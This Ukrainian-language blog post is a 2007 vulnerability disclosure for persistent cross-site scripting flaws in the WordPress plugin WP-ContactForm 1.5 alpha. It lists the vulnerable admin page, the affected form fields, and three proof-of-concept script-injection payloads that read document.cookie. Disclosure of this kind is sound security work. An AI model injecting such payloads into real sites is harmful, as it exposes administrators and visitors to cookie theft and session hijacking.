XSS уразливості в WP-ContactForm
23:48 17.12.2007У листопаді, 26.11.2007, я знайшов нові Cross-Site Scripting уразливості в плагіні WP-ContactForm. Причому це persistent XSS. Вразлива версія плагіна WP-ContactForm 1.5 alpha (та попередні).
Раніше я вже писав про уразливості в WP-ContactForm (в оригінальній версії) та в новій версії плагіна (зробленій іншим автором) - WP-ContactForm CAPTCHA bypass та XSS in WP-ContactForm. В новій версії плагіна були виправлені деякі дірки попередньої версії, деяки залишились та були додані нові дірки. Зараз розповім про уразливості в оригінальній версії плагіна.
XSS:
POST запит на сторінці http://site/wp-admin/admin.php? page=wp-contact-form/options-contactform.php:
"><script>alert(document.cookie)</script>В полях: E-mail Address, Subject - для атаки тільки на адміна.
<script>alert(document.cookie)</script>В полях: Success Message, Error Message - для атаки на користувачів.
</textarea><script>alert(document.cookie)</script>В полях: Success Message, Error Message - для атаки на адміна та на користувачів.
Розробнику плагіна я повідомлю найближчим часом.
P.S.
Також версія WP-ContactForm 1.5-alpha та попередні версії плагіна вразливі до Insufficient Anti-automation, тому що не мають капчі.
